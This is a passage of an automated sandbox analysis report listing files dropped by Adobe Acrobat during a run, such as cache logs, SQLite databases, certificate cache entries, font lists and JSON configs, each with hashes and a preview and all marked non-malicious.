SHA-256:	9A205A80B64CBCD7CBFFDBFF432D88322FAB4F96071FF7C19087C39CBBAAA7D3
SHA-512:	F4216152557C809CA58E5F134468F8AD6EE0374784E46F24BF56F3D3E4C74B19E84D58063FCD640516D0577883C94BBC8E11D1907F631218AE8EF64F0FCB525F
Malicious:	false
Preview:	2025/01/11-01:01:52.263 1e60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:01:52.264 1e60 Recovering log #3.2025/01/11-01:01:52.265 1e60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.116304002659488
Encrypted:	false
SSDEEP:	6:iOn9GzUq2PcNwi2nKuAl9OmbzNMxIFUtF9GMrVXZmwr9G9vzkwOcNwi2nKuAl9Ob:7nxvLZHAa8jFUtFLN/rKz54ZHAa84J
MD5:	1190B7C0DF7580D82DE8C581384A1B02
SHA1:	7F6467ECBBF4C793D4F7C2DE0D171EEFC16E1BB8
SHA-256:	9A205A80B64CBCD7CBFFDBFF432D88322FAB4F96071FF7C19087C39CBBAAA7D3
SHA-512:	F4216152557C809CA58E5F134468F8AD6EE0374784E46F24BF56F3D3E4C74B19E84D58063FCD640516D0577883C94BBC8E11D1907F631218AE8EF64F0FCB525F
Malicious:	false
Preview:	2025/01/11-01:01:52.263 1e60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:01:52.264 1e60 Recovering log #3.2025/01/11-01:01:52.265 1e60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438419410033291
Encrypted:	false
SSDEEP:	384:yeaci5G0iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:14urVgazUpUTTGt
MD5:	0B143E975E392F22D02DE348CD520330
SHA1:	6F37F7E5B2355185A9FCCCA2CD0E2AF3A16C3173
SHA-256:	118E2581CDF018C14E777FF7614C8ECB96A82A78FF7C3FA2BCA2A3C953FD49A6
SHA-512:	F421EB1A19198D8C34CA8B175A0140890F066626EEDF2AB396A53AB5AE0AB623C81E19B49B00B6022F9A9170E85E85774B79BF702AF074D7E214C27D5339BAC0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7731836106402734
Encrypted:	false
SSDEEP:	48:7MVp/E2ioyVZioy3DoWoy1CABoy1xKOioy1noy1AYoy1Wioy1hioybioyFoy1no4:7OpjuZ0iAvXKQIWb9IVXEBodRBkI
MD5:	0C00DFD45C62A89AF6F7BF5C4E80783C
SHA1:	3693A7506B77FFBE22EE376D4E6A075CA280FD95
SHA-256:	30DC8147EAEC23CEF2CB1D43E39C6F050EACFC3F9A99F1B68502400BCCF29F86
SHA-512:	EFFD417A49C99A579F907B5BC58D11EADC4EA8D5DF830676DFBDBD27F0C0BE263F013A049D850B1A004B2954A83989C5CB52A074962FBEC9086F1A190B67FE6C
Malicious:	false
Preview:	.... .c......a$...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7360682398396405
Encrypted:	false
SSDEEP:	3:kkFkluEyRltfllXlE/HT8kgzllXNNX8RolJuRdxLlGB9lQRYwpDdt:kK31eT8zl7NMa8RdWBwRd
MD5:	844AF6655283ED67BB822E5ED9F52274
SHA1:	87805FBFBAF0B3E78EE31ABCFD3B5D6A8734A815
SHA-256:	8F3886FC5F1B32C70A007E9A424546A0A4359EA6074195BAD71DBCDA809E0E9F
SHA-512:	372CF01B86848E8C8A01E78F1BC7F3C64A974789FFB7191F21820B5EACDAFD347D61D4E6CD58FB7ACA7AB5FA5380AB5F7FBD26988028BBC9E1594C29BE9F5C74
Malicious:	false
Preview:	p...... ..........S.c..(....................................................... ..........W..../^..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.231099772728515
Encrypted:	false
SSDEEP:	6:kKJtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:xtiDImsLNkPlE99SNxAhUe/3
MD5:	4CD09883ACCC04F99455DF4D63D14A20
SHA1:	9AA2F0A65062CD70F048E68FAFB8E3F2796B135A
SHA-256:	B98606A9ABF4AD71D2CB28C674882AB72ECDEF9B8AB78FFF2A7E3AAAF48D2B22
SHA-512:	EB6487602724086B557813448855E7F72EC9FE85109B3BDC626A266E216C9062472D10101BD7D84CB11BA1E50B5D8DF08425C2DC37BD23441D4F7A343D170EEC
Malicious:	false
Preview:	p...... ..........e.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7432

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7432

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.391509722504063
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaAVun4WsGiIPEeOF0Y+gU8DoAvJM3g98kUwPeUkwRe9:YvXKX9ssdTeOegLsGMbLUkee9
MD5:	90ABC0A999924779AB979FA51EA167CF
SHA1:	170CC82C7D308864035E74C527716ED0B60DD5EB
SHA-256:	792C6F2BAC1E9DEDA00A5DB6E64FE72944FD4C7F50AD3347A9E45D8C496455D3
SHA-512:	049FE6783BDA394F006B7014DF4BA559929D3F6A1A7442907C50A24017056EB675916B8B6DE359700AF3B79AD860D31A5B33FC808E727E8C35D8C558F3B8EB8C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b137971-1576-4025-a167-b899f28cfe59","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748600981,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.328620680102746
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaAVun4WsGiIPEeOF0Y+gU8DoAvJfBoTfXpnrPeUkwRe9:YvXKX9ssdTeOegLsGWTfXcUkee9
MD5:	69E6312B7916B09CAB4376FAC2B283D6
SHA1:	438B12C067767B81F70BCA0C806E00EC14D877AB
SHA-256:	E27321F5049FBFFE79C80E76DE2E41CE3EC9A5DB88E0C696D4EDABA6A3AFDC7B
SHA-512:	902D0EB091EE6B40CB242F5D3092BD698D62F787407551CA0CFE06E6C075CFC12C83F4B36BFA88D4D3B50E9097A146E7872288FD75ACD6BA707F3AEC56AD8DDA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b137971-1576-4025-a167-b899f28cfe59","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748600981,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.307326894329624
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaAVun4WsGiIPEeOF0Y+gU8DoAvJfBD2G6UpnrPeUkwRe9:YvXKX9ssdTeOegLsGR22cUkee9
MD5:	EE783770E514A88798C0B713600A013D
SHA1:	1E54520A0D8D769327A4972C00CBB1CFFA023B1A
SHA-256:	8622FBF595D24FA168354CFF3440B4853138F83A09844D5580AAF7512341D4F1
SHA-512:	5F07B7A23CE998CE84E06CE12E34E2F5A53B45FF52F6241C29D7275C0F7C2FE05C33CDBF5D694A6D69E6F9CC13C0226507045C19E008D8CD67264BDF72149225
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b137971-1576-4025-a167-b899f28cfe59","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748600981,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.379375616402277
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaAVun4WsGiIPEeOF0Y+gU8DoAvJfPmwrPeUkwRe9:YvXKX9ssdTeOegLsGH56Ukee9
MD5:	AF751B485C21009FE1FDB12B3005DD0E
SHA1:	3272F897A0789DF73E7B5D1C3CF8B771FE72A0BE
SHA-256:	AC83F7F77E05E521CE6C8B984466540611428716FCA9CDD8034E1EF9E5F5CF99
SHA-512:	89A59093291C6E0EA5235E7B3E694D2DE63CBCBFBC6283BF23057CEEA4FA1DEE1274B244219E6366ADEFB76669AEF5DF5952BF0EB88286845D74E30564F6FF3C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b137971-1576-4025-a167-b899f28cfe59","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748600981,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.697759338745603
Encrypted:	false
SSDEEP:	24:Yv6X2meOegLJpLgE9cQx8LennAvzBvkn0RCmK8czOCCSO1:YvAevgLJhgy6SAFv5Ah8cv/o
MD5:	9C4150480935A7C4212BD11521C3ADC1
SHA1:	8AA0304D3B1613835618B716C1A7AACBF83975D2
SHA-256:	D6A6084F4F4B172F921265F9FADBAE20DB7C452B13AADB3E54C830BF7EEC52C9
SHA-512:	9FA6DA4A64E72A2EEB668129187E304EC917414F2D007743A1C16C1A9736D97F80E70EE5AF0D2BA8D3E9C27CD9E8E90C5969D443698DA8E788898F18B4303472
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b137971-1576-4025-a167-b899f28cfe59","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748600981,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.319644024489576
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaAVun4WsGiIPEeOF0Y+gU8DoAvJf8dPeUkwRe9:YvXKX9ssdTeOegLsGU8Ukee9
MD5:	9F8B6FFA2F2926AD93525B28E5BD9B97
SHA1:	64A9FD03765B3E1A0A4AA14768D52228485F85A5
